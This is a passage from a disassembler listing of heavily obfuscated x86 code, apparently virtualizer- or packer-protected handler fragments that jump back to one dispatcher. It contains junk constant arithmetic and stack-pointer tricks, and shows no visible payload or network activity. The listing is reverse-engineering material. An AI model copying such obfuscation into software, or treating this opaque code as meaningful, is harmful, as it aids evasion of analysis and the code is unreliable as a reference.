[esp+7Eh+var_80+2] mov esp, [esp+7Eh+var_80+2] mov word ptr [esp+7Eh+var_80+2], dx jmp loc_588CFA ; --------------------------------------------------------------------------- loc_5844D3: ; CODE XREF: sub_57DD3A+DE77j pop esp jmp loc_58A452 ; --------------------------------------------------------------------------- loc_5844D9: ; CODE XREF: sub_57DD3A+CF59j push edx mov edx, 673F6D9Eh xchg ecx, edx dec ecx xchg ecx, edx shr edx, 6 jmp loc_5888E2 ; --------------------------------------------------------------------------- loc_5844EC: ; CODE XREF: sub_57DD3A+E472j xor ebp, [esp+7Eh+var_80+2] pop esp sar [esp+7Ah+var_7C+2], cl pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_5844F9: ; CODE XREF: sub_57DD3A+6CFDj pop eax jmp loc_581A90 ; --------------------------------------------------------------------------- loc_5844FF: ; CODE XREF: sub_57DD3A+F292j add esp, 4 xor eax, [esp+76h+var_78+2] xor [esp+76h+var_78+2], eax xor eax, [esp+76h+var_78+2] mov esp, [esp+76h+var_78+2] mov word ptr [esp+76h+var_78+2], cx movzx cx, al push cx pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0FFD5CDE9h, 0C8B66FFh, 4A10E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_584532: ; CODE XREF: sub_57DD3A+8D2Ej push 5F20h mov [esp+80h+var_80], esi push 1 jmp loc_582B30 ; --------------------------------------------------------------------------- loc_584544: ; CODE XREF: sub_57DD3A+E5CCj push ebx mov ebx, 115A715Fh add ebx, 411354B9h shr ebx, 5 jmp loc_58C9E0 ; --------------------------------------------------------------------------- lodsd sub esp, 4 mov [esp+8Ch+var_8C], edi push 27472958h pop edi sub eax, 4B4D125Dh add eax, edi jmp loc_584F2D ; --------------------------------------------------------------------------- loc_584571: ; CODE XREF: sub_57DD3A+BFD4j mov ebp, 2DC4E6Ah xor ebp, 2DC4E6Eh add esi, ebp push [esp+8Ch+var_8C] mov ebp, [esp+90h+var_90] jmp loc_5839AF ; --------------------------------------------------------------------------- loc_584589: ; CODE XREF: sub_57DD3A+A163j pop esp mov fs:[edx], al jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_584592: ; CODE XREF: sub_57DD3A+7413j neg ebp push edi mov edi, 3C79692Eh xor edi, 75530593h jmp loc_58D583 ; --------------------------------------------------------------------------- loc_5845A5: ; CODE XREF: sub_57DD3A+FC70j mov edx, 76DB6C2Fh jmp loc_5822B0 ; --------------------------------------------------------------------------- loc_5845AF: ; CODE XREF: sub_57DD3A+49B1j pop dx push edx mov dl, 39h jmp loc_58C3B7 ; --------------------------------------------------------------------------- loc_5845B9: ; CODE XREF: sub_57DD3A+81EEj add [esp+84h+var_7C], 7B7C738Fh jmp loc_58B7E5 ; --------------------------------------------------------------------------- loc_5845C6: ; CODE XREF: sub_57DD3A+79BCj add ch, 1 shr ch, 3 push small 20AEh mov word ptr [esp+86h+var_88+2], ax mov al, 0E8h jmp loc_58917D ; --------------------------------------------------------------------------- loc_5845DB: ; CODE XREF: sub_57DD3A+7F82j dec [esp+86h+var_88+2] jmp loc_5876B8 ; --------------------------------------------------------------------------- loc_5845E3: ; CODE XREF: sub_57DD3A+9307j mov ebp, 2AD06924h and edx, ebp pop ebp and edx, 0FD44DEDh inc edx add edx, 1 add edx, 0FF6FF802h mov ebp, edx pop edx add ebx, ebp pop ebp xor ebx, [esp+7Ah+var_7C+2] xor [esp+7Ah+var_7C+2], ebx xor ebx, [esp+7Ah+var_7C+2] mov esp, [esp+7Ah+var_7C+2] sub [esp+7Ah+var_7C+2], 39190A56h sub [esp+7Ah+var_7C+2], eax push ebp push edx mov edx, 33772BEh neg edx jmp loc_5884AE ; --------------------------------------------------------------------------- push [esp+82h+var_84+2] jmp loc_5881B1 ; --------------------------------------------------------------------------- loc_58462D: ; CODE XREF: sub_57DD3A+8090j and edx, ecx jmp loc_5881AB ; --------------------------------------------------------------------------- loc_584634: ; CODE XREF: sub_57DD3A+8768j push edx mov edx, 60306A57h add esi, edx pop edx jmp loc_585B66 ; --------------------------------------------------------------------------- loc_584642: ; CODE XREF: sub_57DD3A+A177j jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_584647: ; CODE XREF: sub_57DD3A+E571j mov edi, 2 jmp loc_582FA3 ; --------------------------------------------------------------------------- loc_584651: ; CODE XREF: sub_57DD3A+F486j pop bx jmp loc_5869D0 ; --------------------------------------------------------------------------- loc_584658: ; CODE XREF: sub_57DD3A+BF12j sub esi, 4 xchg esi, [esp+84h+var_84] pop esp mov [esp+80h+var_80], esp jmp loc_58D008 ; --------------------------------------------------------------------------- loc_58466A: ; CODE XREF: sub_57DD3A+5A01j add eax, edx sub eax, 7A476884h pop edx jmp loc_5887C6 ; --------------------------------------------------------------------------- loc_584677: ; CODE XREF: sub_57DD3A+C160j mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+9Ch+var_9C] pop esp sub esp, 4 mov [esp+9Ch+var_9C], edx push 45CA56DDh jmp loc_582AAA ; --------------------------------------------------------------------------- loc_584696: ; CODE XREF: sub_57DD3A+6699j not ebp push eax jmp loc_582890 ; --------------------------------------------------------------------------- loc_58469E: ; CODE XREF: sub_57DD3A+4A35j add esp, 4 push [esp+9Eh+var_A0+2] pop edx sub esp, 4 mov [esp+0A2h+var_A4+2], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+0A2h+var_A4+2] jmp loc_58D305 ; --------------------------------------------------------------------------- loc_5846C1: ; CODE XREF: sub_57DD3A+6209j xor ebx, [esp+0B0h+var_B0] mov esp, [esp+0B0h+var_B0] mov eax, [esp+0B0h+var_B0] push esi push esp mov esi, [esp+0B8h+var_B8] jmp loc_589CFC ; --------------------------------------------------------------------------- loc_5846D4: ; CODE XREF: sub_57DD3A+6C72j push 357Fh mov [esp+0BCh+var_BC], eax jmp loc_585357 ; --------------------------------------------------------------------------- loc_5846E1: ; CODE XREF: sub_57DD3A+EA5Bj mov [esp+0BCh+var_BC], eax jmp loc_587E22 ; --------------------------------------------------------------------------- loc_5846E9: ; CODE XREF: sub_57DD3A+3C60j mov eax, [esp+62h+var_64+2] add esp, 4 jmp loc_584BF6 ; --------------------------------------------------------------------------- loc_5846F4: ; CODE XREF: sub_57DD3A+FE75j pop edi xor ebx, [esp+5Ah+var_5C+2] jmp loc_589F91 ; --------------------------------------------------------------------------- loc_5846FD: ; CODE XREF: sub_57DD3A+4E1Fj mov ebp, 1D313411h jmp loc_58DA39 ; --------------------------------------------------------------------------- loc_584707: ; CODE XREF: sub_57DD3A+4713j mov ebp, [esp+96h+var_98+2] add esp, 4 sub esp, 4 jmp loc_587A6D ; --------------------------------------------------------------------------- loc_584718: ; CODE XREF: sub_57DD3A+B16Ej add edi, 779F39B4h add edi, esi sub edi, 779F39B4h jmp loc_582134 ; --------------------------------------------------------------------------- loc_58472B: ; CODE XREF: sub_57DD3A+5ACEj mov edi, 24E86BBBh jmp loc_585CA3 ; --------------------------------------------------------------------------- loc_584735: ; CODE XREF: sub_57DD3A+EC49j add esp, 4 or edx, eax shl edx, 1 push 1F59h mov [esp+0B8h+var_B8], ecx push eax mov eax, 1D6D63B8h shl eax, 7 shl eax, 6 push 5D15h mov [esp+0C0h+var_C0], ebx mov ebx, 5F0125B8h or ebx, 5D31486Fh neg ebx dec ebx push edi mov edi, 523266EFh jmp loc_5855B7 ; --------------------------------------------------------------------------- loc_584771: ; CODE XREF: sub_57DD3A+7781j push esi jmp loc_588804 ; --------------------------------------------------------------------------- loc_584777: ; CODE XREF: sub_57DD3A+E04Aj sub edi, 0CEDE52DAh add ebp, edi pop edi jmp loc_585C2B ; --------------------------------------------------------------------------- loc_584785: ; CODE XREF: sub_57DD3A+7315j push edx jmp loc_5887F5 ; --------------------------------------------------------------------------- loc_58478B: ; CODE XREF: sub_57DD3A+B0CEj add edi, 2 push edi jmp loc_58978E ; --------------------------------------------------------------------------- loc_584794: ; CODE XREF: sub_57DD3A+78C0j pop edx jmp loc_58DF07 ; --------------------------------------------------------------------------- loc_58479A: ; CODE XREF: sub_57DD3A+D889j mov edx, 4 add [esp+0C8h+var_C4], edx jmp loc_58CAD9 ; --------------------------------------------------------------------------- loc_5847A8: ; CODE XREF: sub_57DD3A+A32Aj mov ecx, [edx] pop edx push [esp+0C4h+var_C4] pop ebx jmp loc_584804 ; --------------------------------------------------------------------------- loc_5847B4: ; CODE XREF: sub_57DD3A+85CCj push ebp mov ebp, 50074473h shl ebp, 8 sub ebp, 56912970h add ebp, 19747C49h jmp loc_583C2F ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp+0C6h+var_C8+2], cl pushf jmp loc_589D25 ; --------------------------------------------------------------------------- loc_5847DE: ; CODE XREF: sub_57DD3A+94E1j shl eax, 1 jmp loc_581A3D ; --------------------------------------------------------------------------- loc_5847E5: ; CODE XREF: sub_57DD3A+B34Fj pop ebx add esp, 4 xor [edi+20h], ebp pop ebp sub esp, 4 mov [esp+0C2h+var_C4+2], eax mov eax, 4A407663h sub eax, 5AED4902h not eax jmp loc_582D42 ; --------------------------------------------------------------------------- loc_584804: ; CODE XREF: sub_57DD3A+6A75j add esp, 4 jmp loc_58D85A ; --------------------------------------------------------------------------- loc_58480C: ; CODE XREF: sub_57DD3A+4112j add edi, 621306EBh sub esp, 4 jmp loc_58CC37 ; --------------------------------------------------------------------------- loc_58481A: ; CODE XREF: sub_57DD3A+EFE7j pop ecx sub edx, 11093CB4h jmp loc_58B45B ; --------------------------------------------------------------------------- loc_584826: ; CODE XREF: sub_57DD3A+4950j add bl, 93h sub bl, al jmp loc_587247 ; --------------------------------------------------------------------------- lodsb jmp loc_58DF65 ; --------------------------------------------------------------------------- loc_584836: ; CODE XREF: sub_57DD3A+3F0Bj pop ebx jmp loc_584A92 ; --------------------------------------------------------------------------- loc_58483C: ; CODE XREF: sub_57DD3A+FD7Fj push small 6509h jmp loc_58DADD ; --------------------------------------------------------------------------- loc_584845: ; CODE XREF: sub_57DD3A+4172j mov edi, 4 add ecx, edi push [esp+82h+var_84+2] mov edi, [esp+86h+var_88+2] jmp loc_589F7F ; --------------------------------------------------------------------------- loc_584857: ; CODE XREF: sub_57DD3A+7C32j push eax pop ecx pop eax sub [edi+24h], ecx pop ecx loc_58485E: ; CODE XREF: sub_57DD3A+C445j sub esp, 4 mov [esp+82h+var_84+2], ebx push [esp+82h+var_84+2] pop eax jmp loc_5823A8 ; --------------------------------------------------------------------------- loc_584870: ; CODE XREF: sub_57DD3A+7735j sub ebp, 48C94758h dec ebp sub ebp, 0B8A2B689h jmp loc_58649A ; --------------------------------------------------------------------------- loc_584882: ; CODE XREF: sub_57DD3A+48CFj mov [esp+8Ch+var_8C], ebx sub [esp+8Ch+var_8C], 67A74C10h mov eax, [esp+8Ch+var_8C] push eax jmp loc_58CAC4 ; --------------------------------------------------------------------------- loc_584895: ; CODE XREF: sub_57DD3A+6CC3j mov ebp, 235E3313h sub ebp, 0E93670C3h xor edi, ebp pop ebp push edi jmp loc_586807 ; --------------------------------------------------------------------------- loc_5848A9: ; CODE XREF: sub_57DD3A+A767j push ebx push [esp+94h+var_90] pop ebx pop [esp+94h+var_94] pop esp push edx jmp loc_589AC4 ; --------------------------------------------------------------------------- loc_5848B9: ; CODE XREF: sub_57DD3A+10096j mov edi, 0C921459h and edi, 67E348E0h or edi, 2EA019F0h jmp loc_589DE6 ; --------------------------------------------------------------------------- loc_5848CF: ; CODE XREF: sub_57DD3A+CC36j mov edx, 41E8757Dh jmp loc_5821BD ; --------------------------------------------------------------------------- loc_5848D9: ; CODE XREF: sub_57DD3A+D945j add esi, 3232784Bh push [esp+90h+var_90] pop eax jmp loc_58A5BA ; --------------------------------------------------------------------------- loc_5848E8: ; CODE XREF: sub_57DD3A+7FC6j mov eax, esi pop esi sub eax, 1801012Ch push ecx mov ecx, 57B44D11h not ecx xor ecx, 9B3991BEh add eax, ecx jmp loc_5871D4 ; --------------------------------------------------------------------------- loc_584905: ; CODE XREF: sub_57DD3A+3CCCj add esp, 4 jmp loc_58A9BE ; --------------------------------------------------------------------------- loc_584910: ; CODE XREF: sub_57DD3A+C20Fj sub ecx, 62F211D1h add ecx, esi add ecx, 62F211D1h pop esi add ecx, 4 xor ecx, [esp+5Ah+var_5C+2] jmp loc_5825F5 ; --------------------------------------------------------------------------- loc_58492D: ; CODE XREF: sub_57DD3A+B2FDj add ebx, ecx pop ecx xchg ebx, [esp+56h+var_58+2] mov esp, [esp+56h+var_58+2] mul ecx push ebp mov ebp, esp push 4AB4h mov [esp+5Eh+var_60+2], edx mov edx, 4E91674h and edx, 29184714h jmp loc_582301 ; --------------------------------------------------------------------------- loc_584953: ; CODE XREF: sub_57DD3A+5350j push 4DAAh mov [esp+90h+var_90], ecx mov cl, 9 jmp loc_58CE16 ; --------------------------------------------------------------------------- loc_584962: ; CODE XREF: sub_57DD3A+48D9j mov esi, [esp+90h+var_90] jmp loc_58C8B0 ; --------------------------------------------------------------------------- loc_58496A: ; CODE XREF: sub_57DD3A+FCE5j mov [esp+90h+var_90], edi jmp loc_587926 ; --------------------------------------------------------------------------- loc_584972: ; CODE XREF: sub_57DD3A+EBB8j push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_582AC8 ; --------------------------------------------------------------------------- loc_584986: ; CODE XREF: sub_57DD3A+F9D0j add esp, 2 push edx mov dl, 0C0h sub dl, 0FFh jmp loc_5877D5 ; --------------------------------------------------------------------------- loc_584994: ; CODE XREF: sub_57DD3A+C62Dj add esi, 0FFFFFFFFh xor esi, 0F9DEFFF6h add ecx, esi pop esi xchg ecx, [esp+90h+var_90] mov esp, [esp+90h+var_90] idiv cx jmp loc_5846D4 ; --------------------------------------------------------------------------- loc_5849B1: ; CODE XREF: sub_57DD3A+A4BBj push ebx mov bh, 87h shr bh, 4 shl bh, 3 inc bh and bh, 0BEh xor bh, 0BEh add dl, bh pop ebx sub cl, 0BCh sub cl, dl add cl, 0BCh pop edx sub al, cl pop ecx push edx jmp loc_58D7DD ; --------------------------------------------------------------------------- mov cx, word ptr [esp+8Ch+var_8C] jmp loc_58D5DD ; --------------------------------------------------------------------------- loc_5849E0: ; CODE XREF: sub_57DD3A+9C50j add dl, 5Bh xor dl, 4Bh jmp loc_58B4EB ; --------------------------------------------------------------------------- loc_5849EB: ; CODE XREF: sub_57DD3A+7CBAj mov bl, 0F9h jmp loc_58CB67 ; --------------------------------------------------------------------------- loc_5849F2: ; CODE XREF: sub_57DD3A+FB22j mov edi, 4B95220Dh not edi shr edi, 4 push ebp jmp loc_584895 ; --------------------------------------------------------------------------- loc_584A02: ; CODE XREF: sub_57DD3A+9DC4j shl ebx, 5 sub ebx, 37BC653Ch sub ebp, 6DAC0FC4h add ebp, ebx add ebp, 6DAC0FC4h pop ebx sub ebp, 4 xchg ebp, [esp+8Ch+var_8C] mov esp, [esp+8Ch+var_8C] mov [esp+8Ch+var_8C], ecx jmp loc_5818C9 ; --------------------------------------------------------------------------- push [esp+8Ch+var_8C] jmp loc_5861FA ; --------------------------------------------------------------------------- loc_584A36: ; CODE XREF: sub_57DD3A+6463j pop edx jmp loc_5844F9 ; --------------------------------------------------------------------------- loc_584A3C: ; CODE XREF: sub_57DD3A+A510j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp+90h+var_90] pop esp mov [esp+8Ch+var_8C], ebp push edi jmp loc_58B093 ; --------------------------------------------------------------------------- loc_584A57: ; CODE XREF: sub_57DD3A+AA2Fj sub eax, 49945ED6h sub eax, 414EA170h push eax mov esi, [esp+94h+var_94] jmp loc_58AF2F ; --------------------------------------------------------------------------- loc_584A6A: ; CODE XREF: sub_57DD3A+5EB9j sub edx, eax pop eax xor edx, 567A1737h neg edx jmp loc_589F9F ; --------------------------------------------------------------------------- mov cx, word ptr [esp+72h+var_74+2] jmp loc_58B02F ; --------------------------------------------------------------------------- loc_584A83: ; CODE XREF: sub_57DD3A+10057j add esi, 4 xchg esi, [esp+72h+var_74+2] pop esp movsx ecx, al jmp loc_58ACA8 ; --------------------------------------------------------------------------- loc_584A92: ; CODE XREF: sub_57DD3A+6AFDj push edi mov edi, 50FC71C8h neg edi sub edi, 0AF038E34h add eax, edi pop edi xchg eax, [esp+80h+var_80] mov esp, [esp+80h+var_80] shr eax, 0Bh xor ecx, eax sub esp, 4 mov [esp+84h+var_84], ecx mov ecx, esp push ebx mov ebx, 269A2432h push edi mov edi, 529B591Fh add edi, 63AB0CD4h sub edi, 5B183C42h add ebx, edi pop edi push edi mov edi, 341E5F87h or ebx, edi pop edi and ebx, 19777E6Eh sub ebx, 11565E62h add ecx, ebx jmp loc_5843A3 ; --------------------------------------------------------------------------- loc_584AF0: ; CODE XREF: sub_57DD3A+977Fj add ecx, 515B240Dh pop eax push ecx push [esp+88h+var_84] pop ecx pop [esp+88h+var_88] pop esp movzx cx, al sub esp, 4 mov [esp+84h+var_84], esi push esp pop esi add esi, 4 push 5B47h mov [esp+88h+var_88], edx mov edx, 2 jmp loc_58D900 ; --------------------------------------------------------------------------- loc_584B25: ; CODE XREF: sub_57DD3A+C2B7j push [esp+88h+var_88] pop edx add esp, 4 add al, cl pop ecx add bl, 8Ah jmp loc_58C21C ; --------------------------------------------------------------------------- loc_584B3A: ; CODE XREF: sub_57DD3A+79DBj mov edx, 2D5C2198h jmp loc_58D736 ; --------------------------------------------------------------------------- loc_584B44: ; CODE XREF: sub_57DD3A+E733j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp+80h+var_80] jmp loc_584FB5 ; --------------------------------------------------------------------------- loc_584B57: ; CODE XREF: sub_57DD3A+100D6j not ebp and ebp, 2FD307F3h sub ebp, 0DC73FBC2h sub ebx, ebp jmp loc_589081 ; --------------------------------------------------------------------------- loc_584B6C: ; CODE XREF: sub_57DD3A+8B78j add esp, 4 jmp loc_581915 ; --------------------------------------------------------------------------- loc_584B74: ; CODE XREF: sub_57DD3A+5E9Fj push 6551h mov [esp+7Ah+var_7C+2], esi mov esi, 2AE04065h sub esp, 4 mov [esp+7Eh+var_80+2], ecx mov ecx, esi mov ebp, ecx pop ecx mov esi, [esp+7Ah+var_7C+2] add esp, 4 push edx mov edx, 4D2C3645h add eax, edx mov edx, [esp+7Ah+var_7C+2] add esp, 4 jmp loc_586D93 ; --------------------------------------------------------------------------- loc_584BAB: ; CODE XREF: sub_57DD3A+C1ACj xor edx, 351D036h add eax, edx jmp loc_582DA2 ; --------------------------------------------------------------------------- loc_584BB8: ; CODE XREF: sub_57DD3A+74D5j push 0 sub byte ptr [esp+7Ah+var_7C+2], dl mov dl, byte ptr [esp+7Ah+var_7C+2] add esp, 4 jmp loc_58642E ; --------------------------------------------------------------------------- loc_584BCB: ; CODE XREF: sub_57DD3A+C005j sub esp, 4 mov [esp+7Ah+var_7C+2], edi push edx jmp loc_585278 ; --------------------------------------------------------------------------- loc_584BD7: ; CODE XREF: sub_57DD3A+C82Cj xor esi, [esp+7Eh+var_80+2] xor [esp+7Eh+var_80+2], esi xor esi, [esp+7Eh+var_80+2] mov esp, [esp+7Eh+var_80+2] inc byte ptr [esp+7Eh+var_80+2] pushf jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_584BEC: ; CODE XREF: sub_57DD3A+BFE6j add ebx, ecx push [esp+82h+var_84+2] jmp loc_589133 ; --------------------------------------------------------------------------- loc_584BF6: ; CODE XREF: sub_57DD3A+69B5j add eax, 36477A81h mov esi, [esp+5Eh+var_60+2] sub esp, 4 mov [esp+62h+var_64+2], edi jmp loc_589C51 ; --------------------------------------------------------------------------- loc_584C0C: ; CODE XREF: sub_57DD3A+7A47j add esi, 4 sub esi, 4 xor esi, [esp+62h+var_64+2] xor [esp+62h+var_64+2], esi jmp loc_589166 ; --------------------------------------------------------------------------- loc_584C23: ; CODE XREF: sub_57DD3A+C8FAj jmp loc_5818C9 ; --------------------------------------------------------------------------- loc_584C28: ; CODE XREF: sub_57DD3A+84C8j mov [esp+62h+var_64+2], esp add [esp+62h+var_64+2], 4 jmp loc_58BFE3 ; --------------------------------------------------------------------------- loc_584C37: ; CODE XREF: sub_57DD3A+5063j xor edi, ebp pop ebp jmp loc_58878F ; --------------------------------------------------------------------------- loc_584C3F: ; CODE XREF: sub_57DD3A+529Ej mov [esp+88h+var_88], ebx push edx push 1D507621h mov edx, [esp+90h+var_90] add esp, 4 jmp loc_58885B ; --------------------------------------------------------------------------- loc_584C56: ; CODE XREF: sub_57DD3A+A252j add ebp, 0F02BBC45h mov eax, ebp pop ebp add esi, eax mov eax, [esp+88h+var_88] add esp, 4 xor esi, [esp+84h+var_84] xor [esp+84h+var_84], esi xor esi, [esp+84h+var_84] jmp loc_58D018 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+84h+var_84] push 17D9h mov [esp+88h+var_88], edi sub esp, 4 mov [esp+8Ch+var_8C], esp add [esp+8Ch+var_8C], 4 mov edi, [esp+8Ch+var_8C] add esp, 4 push ebp mov ebp, 4 jmp loc_585152 ; --------------------------------------------------------------------------- loc_584CA2: ; CODE XREF: sub_57DD3A+930Dj push edi jmp loc_588AE5 ; --------------------------------------------------------------------------- loc_584CA8: ; CODE XREF: sub_57DD3A+D180j xchg eax, [esp+90h+var_90] pop esp jmp loc_589353 ; --------------------------------------------------------------------------- loc_584CB1: ; CODE XREF: sub_57DD3A+5367j push ebp mov ebp, 23114CAEh shr ebp, 2 dec ebp shl ebp, 4 jmp loc_588260 ; --------------------------------------------------------------------------- loc_584CC3: ; CODE XREF: sub_57DD3A+E1DDj mov [esp+90h+var_90], edx jmp loc_589192 ; --------------------------------------------------------------------------- loc_584CCB: ; CODE XREF: sub_57DD3A+436Ej pop [esp+66h+var_68+2] mov esp, [esp+62h+var_64+2] shl [esp+62h+var_64+2], cl pushf jmp loc_586E03 ; --------------------------------------------------------------------------- loc_584CDA: ; CODE XREF: sub_57DD3A+ED5Ej add esp, 4 jmp loc_58281B ; --------------------------------------------------------------------------- loc_584CE2: ; CODE XREF: sub_57DD3A+4891j pop edi mov ebp, [esp+70h+var_70] jmp loc_5835D0 ; --------------------------------------------------------------------------- loc_584CEB: ; CODE XREF: sub_57DD3A+843Ej mov ebp, [esp+70h+var_70] push edi push esp mov edi, [esp+78h+var_78] add esp, 4 add edi, 4 add edi, 4 xchg edi, [esp+74h+var_74] pop esp pop eax jmp loc_58B804 ; --------------------------------------------------------------------------- loc_584D0C: ; CODE XREF: sub_57DD3A+CBABj mov edi, 0FB342EDh shl edi, 2 shl edi, 2 inc edi push edx mov edx, 12373E79h push eax mov eax, 41B1333Ah and eax, 1B3D6737h jmp loc_58ACE8 ; --------------------------------------------------------------------------- loc_584D2E: ; CODE XREF: sub_57DD3A+9D8Fj mov esi, ecx pop ecx push ecx mov ecx, 2866403Fh jmp loc_587259 ; --------------------------------------------------------------------------- loc_584D3C: ; CODE XREF: sub_57DD3A+A88Bj add eax, edi sub eax, 45B73C9h pop edi add ebp, 0F746E5Ah sub ebp, 6D4A63E9h add ebp, eax add ebp, 6D4A63E9h sub ebp, 0F746E5Ah mov eax, [esp+70h+var_70] push esi mov esi, esp jmp loc_5877B3 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+74h+var_74] jmp loc_587872 ; --------------------------------------------------------------------------- loc_584D72: ; CODE XREF: sub_57DD3A+783Cj xor ebp, 0ECB62CA5h mov ecx, ebp pop ebp add ecx, 4594FEFBh or esi, ecx pop ecx add esi, 24CB8BF8h or ebp, esi jmp loc_58CD7D ; --------------------------------------------------------------------------- loc_584D91: ; CODE XREF: sub_57DD3A+9889j push 20F5h push esp pop [esp+74h+var_74] jmp loc_587433 ; --------------------------------------------------------------------------- loc_584D9F: ; CODE XREF: sub_57DD3A+8C91j push edi mov edi, 71CA33CBh xor edi, 0E280C0Ch dec edi not edi add edi, 8AF8783Fh mov esi, edi pop edi jmp loc_58DB82 ; --------------------------------------------------------------------------- loc_584DBC: ; CODE XREF: sub_57DD3A+56A9j mov [esp+0D0h+var_D0], ebp push ebx mov ebx, 70230F59h mov ebp, 0C5441599h sub ebp, 4783616Eh sub ebp, ebx jmp loc_58AC78 ; --------------------------------------------------------------------------- loc_584DD7: ; CODE XREF: sub_57DD3A+A134j pop eax add ecx, 2 push ecx jmp loc_58D11F ; --------------------------------------------------------------------------- loc_584DE4: ; CODE XREF: sub_57DD3A+8CCAj shr edx, 1 cmp eax, edx jz loc_58CC17 push esi jmp loc_588C76 ; --------------------------------------------------------------------------- loc_584DF4: ; CODE XREF: sub_57DD3A+8DAEj pop ebx sub ecx, 2993C7A8h jmp loc_58B6DE ; --------------------------------------------------------------------------- loc_584E00: ; CODE XREF: sub_57DD3A+ADD6j push ebp push eax mov eax, 0EF43A06h mov ebp, 4155A5F0h sub ebp, eax mov eax, [esp+0DCh+var_DC] add esp, 4 mov esi, 66AA5304h jmp loc_58D291 ; --------------------------------------------------------------------------- loc_584E1E: ; CODE XREF: sub_57DD3A+DB60j sub eax, 40A95D03h mov edx, [esp+0D8h+var_D8] jmp loc_58A408 ; --------------------------------------------------------------------------- loc_584E2B: ; CODE XREF: sub_57DD3A+FF3Ej sub ebx, esi xor esi, ebx xor ebx, esi xor esi, ebx pop ebx push eax jmp loc_58C335 ; --------------------------------------------------------------------------- loc_584E3A: ; CODE XREF: sub_57DD3A+85F3j xchg edx, [esp+0D8h+var_D8] pop esp jmp loc_589824 ; --------------------------------------------------------------------------- loc_584E43: ; CODE XREF: sub_57DD3A+F1A7j xchg ecx, [esp+0D4h+var_D4] pop esp jmp loc_586D6D ; --------------------------------------------------------------------------- loc_584E4C: ; CODE XREF: sub_57DD3A+75F7j xor [esp+0D0h+var_D0], edi xor edi, [esp+0D0h+var_D0] pop esp jmp loc_581EEE ; --------------------------------------------------------------------------- loc_584E58: ; CODE XREF: sub_57DD3A+6744j mov [esp+0B8h+var_B8], edx push [esp+0B8h+var_B4] jmp loc_5820D5 ; --------------------------------------------------------------------------- loc_584E64: ; CODE XREF: sub_57DD3A+D9CCj mov [esp+0BCh+var_BC], esi push edx mov edx, 1B735226h jmp loc_58AD09 ; --------------------------------------------------------------------------- loc_584E72: ; CODE XREF: sub_57DD3A+B69Bj push 0C1A4EE9h pop edi jmp loc_582A97 ; --------------------------------------------------------------------------- loc_584E7D: ; CODE XREF: sub_57DD3A+431Dj dec edx push ebx mov ebx, 6C015026h inc ebx jmp loc_583199 ; --------------------------------------------------------------------------- loc_584E8A: ; CODE XREF: sub_57DD3A+BB10j mov edi, [esp+72h+var_74+2] jmp loc_5832D1 ; --------------------------------------------------------------------------- loc_584E92: ; CODE XREF: sub_57DD3A+AE90j add ecx, 738A7B50h add ecx, ebp jmp loc_589B45 ; --------------------------------------------------------------------------- loc_584E9F: ; CODE XREF: sub_57DD3A+E1A6j xchg ebp, [esp+72h+var_74+2] pop esp push 28E4h jmp loc_5873DC ; --------------------------------------------------------------------------- loc_584EAD: ; CODE XREF: sub_57DD3A+A613j add al, cl pop ecx mov edx, [esp+6Eh+var_70+2] add esp, 4 sub esp, 2 jmp loc_58A4C7 ; --------------------------------------------------------------------------- loc_584EC4: ; CODE XREF: sub_57DD3A+AC48j sub bl, 0B2h jmp loc_58B55B ; --------------------------------------------------------------------------- loc_584ECC: ; CODE XREF: sub_57DD3A+C227j mov eax, 4C033B90h sub eax, 4C033B8Ch jmp loc_58A258 ; --------------------------------------------------------------------------- loc_584EDB: ; CODE XREF: sub_57DD3A+DDA5j push ebp sub esp, 4 mov [esp+76h+var_78+2], esp add [esp+76h+var_78+2], 4 jmp loc_58BB84 ; --------------------------------------------------------------------------- loc_584EEB: ; CODE XREF: sub_57DD3A+81DDj pop ecx add eax, 0E011606h add eax, edi sub eax, 0E011606h jmp loc_585ED2 ; --------------------------------------------------------------------------- loc_584EFD: ; CODE XREF: sub_57DD3A+90C4j add esi, eax add esi, 8191D6Bh push ebp push esi mov esi, 5FA952EEh mov ebp, 0C16CD02h add ebp, esi pop esi sub esp, 4 mov [esp+7Ah+var_7C+2], edx mov edx, 0 sub edx, 3CDD63CFh jmp loc_5829B1 ; --------------------------------------------------------------------------- loc_584F2D: ; CODE XREF: sub_57DD3A+6832j add eax, 4B4D125Dh mov edi, [esp+8Ch+var_8C] push ebx mov ebx, esp add ebx, 4 jmp loc_588104 ; --------------------------------------------------------------------------- loc_584F43: ; CODE XREF: sub_57DD3A+C541j add ebx, 4 jmp loc_588D02 ; --------------------------------------------------------------------------- loc_584F4B: ; CODE XREF: sub_57DD3A+7289j push [esp+90h+var_8C] pop ebx pop [esp+90h+var_90] pop esp jmp loc_5838B5 ; --------------------------------------------------------------------------- loc_584F59: ; CODE XREF: sub_57DD3A+88EFj not ch add ch, 91h xchg ah, ch not ah xchg ah, ch jmp loc_587A0C ; --------------------------------------------------------------------------- loc_584F69: ; CODE XREF: sub_57DD3A+4816j add dl, 0A2h add al, dl mov edx, [esp+0A8h+var_A8] jmp loc_58B6AC ; --------------------------------------------------------------------------- loc_584F76: ; CODE XREF: sub_57DD3A+CAACj push 7744h mov [esp+0ACh+var_AC], eax mov eax, esp add eax, 4 jmp loc_58DA56 ; --------------------------------------------------------------------------- loc_584F8A: ; CODE XREF: sub_57DD3A+931Bj mov [esp+0ACh+var_AC], ebx jmp loc_583AC9 ; --------------------------------------------------------------------------- loc_584F92: ; CODE XREF: sub_57DD3A+5B3Dj mov [esp+0B8h+var_B8], eax mov eax, 50650974h sub eax, 347ABB00h sub ebp, eax pop eax jmp loc_5880C1 ; --------------------------------------------------------------------------- loc_584FA7: ; CODE XREF: sub_57DD3A+96ACj push [esp+0B4h+var_B4] push [esp+0B8h+var_B8] push [esp+0BCh+var_BC] jmp loc_58C16C ; --------------------------------------------------------------------------- loc_584FB5: 